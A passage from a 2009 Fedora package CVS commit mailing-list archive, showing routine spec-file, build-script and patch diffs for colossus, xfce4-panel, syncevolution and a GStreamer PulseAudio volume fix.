 %{_datadir}/dbus-1/services/org.Moblin.SyncEvolution.service
+%{_datadir}/syncevolution/*.png
+%{_datadir}/syncevolution/sync-ui.rc
 
 %files devel
 %defattr(-,root,root,-)
@@ -85,7 +112,21 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*so
 %{_libdir}/syncevolution/*so
 
+%files gtk
+%defattr(-,root,root,-)
+%{_bindir}/sync-ui-gtk
+%{_datadir}/applications/sync-gtk.desktop
+%{_datadir}/syncevolution/ui.xml
+
+%files moblin
+%defattr(-,root,root,-)
+%{_bindir}/sync-ui-moblin
+%{_datadir}/applications/sync-moblin.desktop
+
 %changelog
+* Fri Oct 16 2009 Peter Robinson <pbrobinson at redhat.com> - 0.9-2
+- Enable the gtk and moblin guis
+
 * Fri Sep 25 2009 Mat?j Cepl <mcepl at redhat.com> - 0.9-1
 - New upstream release.
 



From bruno at fedoraproject.org  Sat Oct 17 00:34:57 2009
From: bruno at fedoraproject.org (Bruno Wolff III)
Date: Sat, 17 Oct 2009 00:34:57 +0000 (UTC)
Subject: rpms/colossus/devel .cvsignore, 1.7, 1.8 colossus-gen-tarball.sh,
	1.1, 
	1.2 colossus.spec, 1.9, 1.10 import.log, 1.6, 1.7 sources, 1.7, 1.8
Message-ID: <20091017003457.BA6CB11C00E5@cvs1.fedora.phx.redhat.com>

Author: bruno

Update of /cvs/pkgs/rpms/colossus/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3835/devel

Modified Files:
	.cvsignore colossus-gen-tarball.sh colossus.spec import.log 
	sources 
Log Message:
Rebase to 0.9.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	6 Sep 2009 16:48:47 -0000	1.7
+++ .cvsignore	17 Oct 2009 00:34:57 -0000	1.8
@@ -1 +1 @@
-colossus-20090906-4519.tar.gz
+colossus-0.9.3-20091015-4577.tar.gz


Index: colossus-gen-tarball.sh
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/devel/colossus-gen-tarball.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- colossus-gen-tarball.sh	13 Jul 2009 03:00:33 -0000	1.1
+++ colossus-gen-tarball.sh	17 Oct 2009 00:34:57 -0000	1.2
@@ -6,9 +6,20 @@
 # is used instead.
 # $REV[0] is the date of the commit for the build
 # $REV[1] is the revision of the commit for the build
+# If a rev is provided, you can also provide a branch. As time goes on
+# I expect that the Colossus project will be doing more stable branches.
+# Don't supply "trunk" as a branch, leave it unspecified instead.
 
 # Location of SVN repository
-COLOSSUS=https://colossus.svn.sourceforge.net/svnroot/colossus/trunk/Colossus
+if test -z "$2"
+then
+BRANCH=trunk/Colossus
+BNAME=
+else
+BRANCH=branches/releases/Colossus-$2
+BNAME=$2
+fi
+COLOSSUS=https://colossus.svn.sourceforge.net/svnroot/colossus/${BRANCH}
 
 # First check if revision specified
 if test -z "$1"
@@ -19,24 +30,24 @@ REV=(`svn info -r $1 --xml --incremental
 fi
 
 # Remove pre-existing source with the same rev
-rm -rf colossus-${REV[0]}-${REV[1]}.tar.gz colossus-${REV[0]}-${REV[1]}
+rm -rf colossus-${BNAME}-${REV[0]}-${REV[1]}.tar.gz colossus-${BNAME}-${REV[0]}-${REV[1]}
 
 # Fetch source
-svn export -q -r ${REV[1]} $COLOSSUS colossus-${REV[0]}-${REV[1]}
+svn export -q -r ${REV[1]} $COLOSSUS colossus-${BNAME}-${REV[0]}-${REV[1]}
 
 # Remove included jar files
-find colossus-${REV[0]}-${REV[1]} -name '*.jar' | xargs rm -f
+find colossus-${BNAME}-${REV[0]}-${REV[1]} -name '*.jar' | xargs rm -f
 
 # Remove htdocs is just a copy of the project home page. This is also
 # one less set of images to worry about.
-rm -rf colossus-${REV[0]}-${REV[1]}/htdocs
+rm -rf colossus-${BNAME}-${REV[0]}-${REV[1]}/htdocs
 
 # This can be used to remove all of the unused images in the icons directory.
 # It is not needed for now.
-# find colossus-${REV[0]}-${REV[1]}/core/src/main/resource/icons/ -type f \! -name ColossusIcon.png | xargs rm -f
+# find colossus-${BNAME}-${REV[0]}-${REV[1]}/core/src/main/resource/icons/ -type f \! -name ColossusIcon.png | xargs rm -f
 
 # Build .tar.gz archive
-tar czf colossus-${REV[0]}-${REV[1]}.tar.gz colossus-${REV[0]}-${REV[1]}
+tar czf colossus-${BNAME}-${REV[0]}-${REV[1]}.tar.gz colossus-${BNAME}-${REV[0]}-${REV[1]}
 
 # Remove unarchived source
-rm -rf colossus-${REV[0]}-${REV[1]}
+rm -rf colossus-${BNAME}-${REV[0]}-${REV[1]}


Index: colossus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/devel/colossus.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- colossus.spec	6 Sep 2009 16:48:47 -0000	1.9
+++ colossus.spec	17 Oct 2009 00:34:57 -0000	1.10
@@ -1,8 +1,9 @@
 Name:           colossus
-%define         rev        4519
-%define         revdate    20090906
-Version:        0.9.2
-Release:        1.%{revdate}svn%{rev}%{?dist}
+%define         rev        4577
+%define         revdate    20091015
+Version:        0.9.3
+%define         branch     %{version}
+Release:        1%{?dist}
 Summary:        Allows people to play Titan against each other or AIs
 
 Group:          Amusements/Games
@@ -17,7 +18,7 @@ URL:            http://colossus.sourcefo
 # when grabbing the latest revision, using svn info.
 # The repo is at:
 # https://colossus.svn.sourceforge.net/svnroot/colossus/trunk/Colossus
-Source0:        colossus-%{revdate}-%{rev}.tar.gz
+Source0:        colossus-%{branch}-%{revdate}-%{rev}.tar.gz
 Source1:        colossus-gen-tarball.sh
 Source2:        colossus-rev.xsl
 
@@ -63,7 +64,7 @@ Requires:       jpackage-utils
 This package contains the API documentation for %{name}.
 
 %prep
-%setup -q -n %{name}-%{revdate}-%{rev}
+%setup -q -n %{name}-%{branch}-%{revdate}-%{rev}
 
 %build
 
@@ -179,6 +180,18 @@ touch --no-create %{_datadir}/pixmaps ||
 
 %changelog
 
+* Fri Oct 16 2009 Bruno Wolff III <bruno at wolff.to> - 0.9.3-1
+- Rebase to 0.9.3
+- Adjust script for grabbing source to be able to grab from branches
+- Fixed 2877055: Some GUI preferences don't load on startup
+- Fixed: 2864777 Illegal rangestrike over walls
+- Do not choose Experimental AI as "A Random AI" because it occasionally crashes
+- Fixed: 2859914 Balrog placement ignores score (aka: Balrog every 300 again, not 50)
+- Fixed: 2864790 Aborting load game with remote player - No GetPlayers dialog
+- Fixed: 2838276 "my Strike Skill" is wrong for nonnatives to bramble (actually, just improved the dialog to make it's meaning clearer)
+- Fixed: 2855208 Balrog exception in V0.9.2 (ConcurrentModificationException)
+- See: http://colossus.sourceforge.net/docs/RecentChangesDetails.html
+
 * Sun Sep 06 2009 Bruno Wolff III <bruno at wolff.to> - 0.9.2-1.20090906svn4519
 - Rebase to 0.9.2
 - See: http://colossus.sourceforge.net/docs/RecentChangesDetails.html


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/devel/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	6 Sep 2009 16:48:47 -0000	1.6
+++ import.log	17 Oct 2009 00:34:57 -0000	1.7
@@ -4,3 +4,4 @@ colossus-0-0_5_20090726svn4462_fc11:HEAD
 colossus-0_9_0-1_20090810svn4482_fc11:HEAD:colossus-0.9.0-1.20090810svn4482.fc11.src.rpm:1249966312
 colossus-0_9_1-1_20090817svn4489_fc11:HEAD:colossus-0.9.1-1.20090817svn4489.fc11.src.rpm:1250541173
 colossus-0_9_2-1_20090906svn4519_fc11:HEAD:colossus-0.9.2-1.20090906svn4519.fc11.src.rpm:1252255689
+colossus-0_9_3-1_fc12:HEAD:colossus-0.9.3-1.fc12.src.rpm:1255739650


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	6 Sep 2009 16:48:47 -0000	1.7
+++ sources	17 Oct 2009 00:34:57 -0000	1.8
@@ -1 +1 @@
-29662adb0e19e4eeea4c0f5c6942c477  colossus-20090906-4519.tar.gz
+678d68e4c356c69987342d833dd702a0  colossus-0.9.3-20091015-4577.tar.gz



From cwickert at fedoraproject.org  Sat Oct 17 00:36:02 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 17 Oct 2009 00:36:02 +0000 (UTC)
Subject: rpms/xfce4-panel/devel .cvsignore, 1.15, 1.16 sources, 1.15,
	1.16 xfce4-panel.spec, 1.41, 1.42
Message-ID: <20091017003602.520DB11C00E5@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfce4-panel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4620

Modified Files:
	.cvsignore sources xfce4-panel.spec 
Log Message:
* Fri Oct 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.6.2-1
- Update to 4.6.2
- Drop explicit requires on Terminal and mousepad



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-panel/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	20 Apr 2009 02:28:29 -0000	1.15
+++ .cvsignore	17 Oct 2009 00:36:02 -0000	1.16
@@ -1 +1 @@
-xfce4-panel-4.6.1.tar.bz2
+xfce4-panel-4.6.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-panel/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	20 Apr 2009 02:28:29 -0000	1.15
+++ sources	17 Oct 2009 00:36:02 -0000	1.16
@@ -1 +1 @@
-73a366b9892152266b465d7d9c35bef4  xfce4-panel-4.6.1.tar.bz2
+88352816c84cbea57121b0c478976976  xfce4-panel-4.6.2.tar.bz2


Index: xfce4-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-panel/devel/xfce4-panel.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- xfce4-panel.spec	30 Sep 2009 01:05:19 -0000	1.41
+++ xfce4-panel.spec	17 Oct 2009 00:36:02 -0000	1.42
@@ -1,19 +1,19 @@
+%global xfceversion 4.6
+
 Summary: Next generation panel for Xfce
 Name: xfce4-panel
-Version: 4.6.1
-Release: 4%{?dist}
+Version: 4.6.2
+Release: 1%{?dist}
 License: GPLv2+ and LGPLv2+
 URL: http://www.xfce.org/
-Source0: http://www.xfce.org/archive/xfce-%{version}/src/xfce4-panel-%{version}.tar.bz2
+Source0: http://www.xfce.org/archive/src/xfce/%{name}/%{xfceversion}/%{name}-%{version}.tar.bz2
 Patch0: xfce4-panel-4.6.0-defaults.patch
 Patch1: xfce4-panel-4.6.1-multilib.patch
 Group: User Interface/Desktops
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
-Requires: libxfcegui4 >= %{version}
-Requires: Terminal
-Requires: mousepad
+BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
+Requires: libxfcegui4 >= %{xfceversion}
 Requires: xfce4-doc
-BuildRequires: libxfcegui4-devel >= %{version}
+BuildRequires: libxfcegui4-devel >= %{xfceversion}
 BuildRequires: libxml2-devel >= 2.4.0
 BuildRequires: startup-notification-devel
 BuildRequires: gettext intltool
@@ -53,8 +53,8 @@ Summary: Development headers for xfce4-p
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: pkgconfig
-Requires: libxfce4util-devel >= %{version}
-Requires: libxfcegui4-devel >= %{version}
+Requires: libxfce4util-devel >= %{xfceversion}
+Requires: libxfcegui4-devel >= %{xfceversion}
 
 %description devel
 This package includes the header files you will need to build
@@ -127,6 +127,10 @@ fi
 %{_includedir}/xfce4/libxfce4panel
 
 %changelog
+* Fri Oct 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.6.2-1
+- Update to 4.6.2
+- Drop explicit requires on Terminal and mousepad
+
 * Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.6.1-4
 - Add xfswitch-plugin to default panel config (#525563)
 



From hadess at fedoraproject.org  Sat Oct 17 00:50:46 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Sat, 17 Oct 2009 00:50:46 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/F-11 pulsesink-lowering-volumes.patch, 
	NONE, 1.1 gstreamer-plugins-good.spec, 1.100, 1.101
Message-ID: <20091017005046.3020D11C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9073

Modified Files:
	gstreamer-plugins-good.spec 
Added Files:
	pulsesink-lowering-volumes.patch 
Log Message:
* Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-3
- Finally fix pulsesink volume lowering problems (#488532)


pulsesink-lowering-volumes.patch:
 pulsesink.c |   35 ++++++++++++++++++++---------------
 1 file changed, 20 insertions(+), 15 deletions(-)

--- NEW FILE pulsesink-lowering-volumes.patch ---
>From cee7048dcd68f1d3cca3651a5aaef11145390fa4 Mon Sep 17 00:00:00 2001
From: Lennart Poettering <lennart at poettering.net>
Date: Sat, 17 Oct 2009 02:18:53 +0200
Subject: [PATCH] pulse: never apply volume more than once

Generally decisions on the volume of the stream should be done inside of
PA, not inside of Gst. Only PA knows how volumes translate between
devices and s on.

This patch makes sure that all volumes set via the volume property are
only applied *once* to the underlying stream. After applying them the
client side will not store them anymore. This should make sure that
really only user-triggered volume changes are forwarded to server, but
the client never tries to save/restore the volume internally.
---
 ext/pulse/pulsesink.c |   34 ++++++++++++++++++++--------------
 1 files changed, 20 insertions(+), 14 deletions(-)

diff --git a/ext/pulse/pulsesink.c b/ext/pulse/pulsesink.c
index dd47c33..1fe2b72 100644
--- a/ext/pulse/pulsesink.c
+++ b/ext/pulse/pulsesink.c
@@ -730,6 +730,10 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
     pa_threaded_mainloop_wait (psink->mainloop);
   }
 
+  /* After we passed the volume off of to PA we never want to set it
+     again, since it is PA's job to save/restore volumes.  */
+  psink->volume_set = psink->mute_set = FALSE;
+
   GST_LOG_OBJECT (psink, "stream is acquired now");
 
   /* get the actual buffering properties now */
@@ -1527,8 +1531,8 @@ gst_pulsesink_class_init (GstPulseSinkClass * klass)
   g_object_class_install_property (gobject_class,
       PROP_VOLUME,
       g_param_spec_double ("volume", "Volume",
-          "Volume of this stream, 1.0=100%", 0.0, MAX_VOLUME, DEFAULT_VOLUME,
-          G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS));
+          "Linear volume of this stream, 1.0=100%", 0.0, MAX_VOLUME,
+          DEFAULT_VOLUME, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS));
   g_object_class_install_property (gobject_class,
       PROP_MUTE,
       g_param_spec_boolean ("mute", "Mute",
@@ -1588,10 +1592,10 @@ gst_pulsesink_init (GstPulseSink * pulsesink, GstPulseSinkClass * klass)
   pulsesink->device = NULL;
   pulsesink->device_description = NULL;
 
-  pulsesink->volume = 1.0;
+  pulsesink->volume = DEFAULT_VOLUME;
   pulsesink->volume_set = FALSE;
 
-  pulsesink->mute = FALSE;
+  pulsesink->mute = DEFAULT_MUTE;
   pulsesink->mute_set = FALSE;
 
   pulsesink->notify = 0;
@@ -1654,9 +1658,6 @@ gst_pulsesink_set_volume (GstPulseSink * psink, gdouble volume)
 
   GST_DEBUG_OBJECT (psink, "setting volume to %f", volume);
 
-  psink->volume = volume;
-  psink->volume_set = TRUE;
-
   pbuf = GST_PULSERING_BUFFER_CAST (GST_BASE_AUDIO_SINK (psink)->ringbuffer);
   if (pbuf == NULL || pbuf->stream == NULL)
     goto no_buffer;
@@ -1683,6 +1684,9 @@ unlock:
   /* ERRORS */
 no_buffer:
   {
+    psink->volume = volume;
+    psink->volume_set = TRUE;
+
     GST_DEBUG_OBJECT (psink, "we have no ringbuffer");
     goto unlock;
   }
@@ -1711,9 +1715,6 @@ gst_pulsesink_set_mute (GstPulseSink * psink, gboolean mute)
 
   GST_DEBUG_OBJECT (psink, "setting mute state to %d", mute);
 
-  psink->mute = mute;
-  psink->mute_set = TRUE;
-
   pbuf = GST_PULSERING_BUFFER_CAST (GST_BASE_AUDIO_SINK (psink)->ringbuffer);
   if (pbuf == NULL || pbuf->stream == NULL)
     goto no_buffer;
@@ -1738,6 +1739,9 @@ unlock:
   /* ERRORS */
 no_buffer:
   {
+    psink->mute = mute;
+    psink->mute_set = TRUE;
+
     GST_DEBUG_OBJECT (psink, "we have no ringbuffer");
     goto unlock;
   }
@@ -1788,7 +1792,7 @@ gst_pulsesink_get_volume (GstPulseSink * psink)
 {
   GstPulseRingBuffer *pbuf;
   pa_operation *o = NULL;
-  gdouble v;
+  gdouble v = DEFAULT_VOLUME;
   uint32_t idx;
 
   pa_threaded_mainloop_lock (psink->mainloop);
@@ -1810,11 +1814,12 @@ gst_pulsesink_get_volume (GstPulseSink * psink)
       goto unlock;
   }
 
+  v = psink->volume;
+
 unlock:
   if (o)
     pa_operation_unref (o);
 
-  v = psink->volume;
   pa_threaded_mainloop_unlock (psink->mainloop);
 
   if (v > MAX_VOLUME) {
@@ -1850,7 +1855,7 @@ gst_pulsesink_get_mute (GstPulseSink * psink)
   GstPulseRingBuffer *pbuf;
   pa_operation *o = NULL;
   uint32_t idx;
-  gboolean mute;
+  gboolean mute = FALSE;
 
   pa_threaded_mainloop_lock (psink->mainloop);
 
@@ -1871,11 +1876,12 @@ gst_pulsesink_get_mute (GstPulseSink * psink)
       goto unlock;
   }
 
+  mute = psink->mute;
+
 unlock:
   if (o)
     pa_operation_unref (o);
 
-  mute = psink->mute;
   pa_threaded_mainloop_unlock (psink->mainloop);
 
   return mute;
-- 
1.6.3.3



Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-11/gstreamer-plugins-good.spec,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- gstreamer-plugins-good.spec	16 Oct 2009 14:46:53 -0000	1.100
+++ gstreamer-plugins-good.spec	17 Oct 2009 00:50:45 -0000	1.101
@@ -6,7 +6,7 @@
 
 Name: 		%{gstreamer}-plugins-good
 Version: 	0.10.16
-Release:  	2%{?dist}
+Release:  	3%{?dist}
 Summary: 	GStreamer plug-ins with good code and licensing
 
 Group: 		Applications/Multimedia
@@ -73,6 +73,9 @@ BuildRequires: automake autoconf libtool
 Provides: gstreamer-plugins-farsight = 0.12.12-1
 Obsoletes: gstreamer-plugins-farsight < 0.12.12
 
+# http://bugzilla.gnome.org/show_bug.cgi?id=595231
+Patch2: pulsesink-lowering-volumes.patch
+
 %description
 GStreamer is a streaming media framework, based on graphs of filters which
 operate on media data. Applications using this library can do anything
@@ -111,6 +114,7 @@ This is a dummy package to make gstreame
 %patch1 -p1 -b .autoconvert-caps
 libtoolize -f
 autoreconf
+%patch2 -p1 -b .volume-lowering
 
 %build
 
@@ -274,6 +278,9 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/gstreamer-%{majorminor}.schemas > /dev/null || :
 
 %changelog
+* Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-3
+- Finally fix pulsesink volume lowering problems (#488532)
+
 * Fri Oct 16 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-2
 - Fix autoconvert caps negotiation
 



From cwickert at fedoraproject.org  Sat Oct 17 00:51:44 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 17 Oct 2009 00:51:44 +0000 (UTC)
Subject: rpms/xfce4-panel/F-12 .cvsignore, 1.15, 1.16 sources, 1.15,
	1.16 xfce4-panel.spec, 1.41, 1.42
Message-ID: <20091017005144.57F4D11C00E5@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfce4-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9248/F-12

Modified Files:
	.cvsignore sources xfce4-panel.spec 
Log Message:
* Fri Oct 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.6.2-1
- Update to 4.6.2
- Drop explicit requires on Terminal and mousepad



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-panel/F-12/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	20 Apr 2009 02:28:29 -0000	1.15
+++ .cvsignore	17 Oct 2009 00:51:44 -0000	1.16
@@ -1 +1 @@
-xfce4-panel-4.6.1.tar.bz2
+xfce4-panel-4.6.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-panel/F-12/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	20 Apr 2009 02:28:29 -0000	1.15
+++ sources	17 Oct 2009 00:51:44 -0000	1.16
@@ -1 +1 @@
-73a366b9892152266b465d7d9c35bef4  xfce4-panel-4.6.1.tar.bz2
+88352816c84cbea57121b0c478976976  xfce4-panel-4.6.2.tar.bz2


Index: xfce4-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-panel/F-12/xfce4-panel.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- xfce4-panel.spec	30 Sep 2009 01:05:20 -0000	1.41
+++ xfce4-panel.spec	17 Oct 2009 00:51:44 -0000	1.42
@@ -1,19 +1,19 @@
+%global xfceversion 4.6
+
 Summary: Next generation panel for Xfce
 Name: xfce4-panel
-Version: 4.6.1
-Release: 4%{?dist}
+Version: 4.6.2
+Release: 1%{?dist}
 License: GPLv2+ and LGPLv2+
 URL: http://www.xfce.org/
-Source0: http://www.xfce.org/archive/xfce-%{version}/src/xfce4-panel-%{version}.tar.bz2
+Source0: http://www.xfce.org/archive/src/xfce/%{name}/%{xfceversion}/%{name}-%{version}.tar.bz2
 Patch0: xfce4-panel-4.6.0-defaults.patch
 Patch1: xfce4-panel-4.6.1-multilib.patch
 Group: User Interface/Desktops
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
-Requires: libxfcegui4 >= %{version}
-Requires: Terminal
-Requires: mousepad
+BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
+Requires: libxfcegui4 >= %{xfceversion}
 Requires: xfce4-doc
-BuildRequires: libxfcegui4-devel >= %{version}
+BuildRequires: libxfcegui4-devel >= %{xfceversion}
 BuildRequires: libxml2-devel >= 2.4.0
 BuildRequires: startup-notification-devel
 BuildRequires: gettext intltool
@@ -53,8 +53,8 @@ Summary: Development headers for xfce4-p
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: pkgconfig
-Requires: libxfce4util-devel >= %{version}
-Requires: libxfcegui4-devel >= %{version}
+Requires: libxfce4util-devel >= %{xfceversion}
+Requires: libxfcegui4-devel >= %{xfceversion}
 
 %description devel
 This package includes the header files you will need to build
@@ -127,6 +127,10 @@ fi
 %{_includedir}/xfce4/libxfce4panel
 
 %changelog
+* Fri Oct 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.6.2-1
+- Update to 4.6.2
+- Drop explicit requires on Terminal and mousepad
+
 * Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.6.1-4
 - Add xfswitch-plugin to default panel config (#525563)
 



From cwickert at fedoraproject.org  Sat Oct 17 00:51:44 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 17 Oct 2009 00:51:44 +0000 (UTC)
Subject: rpms/xfce4-panel/F-11 .cvsignore, 1.15, 1.16 sources, 1.15,
	1.16 xfce4-panel.spec, 1.38, 1.39
Message-ID: <20091017005144.952EB11C00E5@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfce4-panel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9248/F-11

Modified Files:
	.cvsignore sources xfce4-panel.spec 
Log Message:
* Fri Oct 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.6.2-1
- Update to 4.6.2
- Drop explicit requires on Terminal and mousepad



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-panel/F-11/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	21 Apr 2009 02:28:27 -0000	1.15
+++ .cvsignore	17 Oct 2009 00:51:44 -0000	1.16
@@ -1 +1 @@
-xfce4-panel-4.6.1.tar.bz2
+xfce4-panel-4.6.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-panel/F-11/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	21 Apr 2009 02:28:27 -0000	1.15
+++ sources	17 Oct 2009 00:51:44 -0000	1.16
@@ -1 +1 @@
-73a366b9892152266b465d7d9c35bef4  xfce4-panel-4.6.1.tar.bz2
+88352816c84cbea57121b0c478976976  xfce4-panel-4.6.2.tar.bz2


Index: xfce4-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-panel/F-11/xfce4-panel.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- xfce4-panel.spec	12 Jun 2009 22:13:31 -0000	1.38
+++ xfce4-panel.spec	17 Oct 2009 00:51:44 -0000	1.39
@@ -1,19 +1,19 @@
+%global xfceversion 4.6
+
 Summary: Next generation panel for Xfce
 Name: xfce4-panel
-Version: 4.6.1
-Release: 2%{?dist}
+Version: 4.6.2
+Release: 1%{?dist}
 License: GPLv2+ and LGPLv2+
 URL: http://www.xfce.org/
-Source0: http://www.xfce.org/archive/xfce-%{version}/src/xfce4-panel-%{version}.tar.bz2
+Source0: http://www.xfce.org/archive/src/xfce/%{name}/%{xfceversion}/%{name}-%{version}.tar.bz2
 Patch0: xfce4-panel-4.6.0-defaults.patch
 Patch1: xfce4-panel-4.6.1-multilib.patch
 Group: User Interface/Desktops
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
-Requires: libxfcegui4 >= %{version}
-Requires: Terminal
-Requires: mousepad
+BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
+Requires: libxfcegui4 >= %{xfceversion}
 Requires: xfce4-doc
-BuildRequires: libxfcegui4-devel >= %{version}
+BuildRequires: libxfcegui4-devel >= %{xfceversion}
 BuildRequires: libxml2-devel >= 2.4.0
 BuildRequires: startup-notification-devel
 BuildRequires: gettext intltool
@@ -53,8 +53,8 @@ Summary: Development headers for xfce4-p
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: pkgconfig
-Requires: libxfce4util-devel >= %{version}
-Requires: libxfcegui4-devel >= %{version}
+Requires: libxfce4util-devel >= %{xfceversion}
+Requires: libxfcegui4-devel >= %{xfceversion}
 
 %description devel
 This package includes the header files you will need to build
@@ -127,6 +127,16 @@ fi
 %{_includedir}/xfce4/libxfce4panel
 
 %changelog
+* Fri Oct 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.6.2-1
+- Update to 4.6.2
+- Drop explicit requires on Terminal and mousepad
+
+* Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.6.1-4
+- Add xfswitch-plugin to default panel config (#525563)
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.6.1-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Jun 12 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.6.1-2
 - Bring back the multilib patch to fix #505165
 



From bruno at fedoraproject.org  Sat Oct 17 00:58:34 2009
From: bruno at fedoraproject.org (Bruno Wolff III)
Date: Sat, 17 Oct 2009 00:58:34 +0000 (UTC)
Subject: rpms/colossus/F-10 .cvsignore, 1.5, 1.6 colossus-gen-tarball.sh, 1.1,
	1.2 colossus.spec, 1.6, 1.7 import.log, 1.4, 1.5 sources, 1.5, 1.6
Message-ID: <20091017005834.D257311C00E5@cvs1.fedora.phx.redhat.com>

Author: bruno

Update of /cvs/pkgs/rpms/colossus/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12026/F-10

Modified Files:
	.cvsignore colossus-gen-tarball.sh colossus.spec import.log 
	sources 
Log Message:
Rebase to 0.9.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-10/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	6 Sep 2009 16:49:48 -0000	1.5
+++ .cvsignore	17 Oct 2009 00:58:34 -0000	1.6
@@ -1 +1 @@
-colossus-20090906-4519.tar.gz
+colossus-0.9.3-20091015-4577.tar.gz


Index: colossus-gen-tarball.sh
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-10/colossus-gen-tarball.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- colossus-gen-tarball.sh	13 Jul 2009 03:18:19 -0000	1.1
+++ colossus-gen-tarball.sh	17 Oct 2009 00:58:34 -0000	1.2
@@ -6,9 +6,20 @@
 # is used instead.
 # $REV[0] is the date of the commit for the build
 # $REV[1] is the revision of the commit for the build
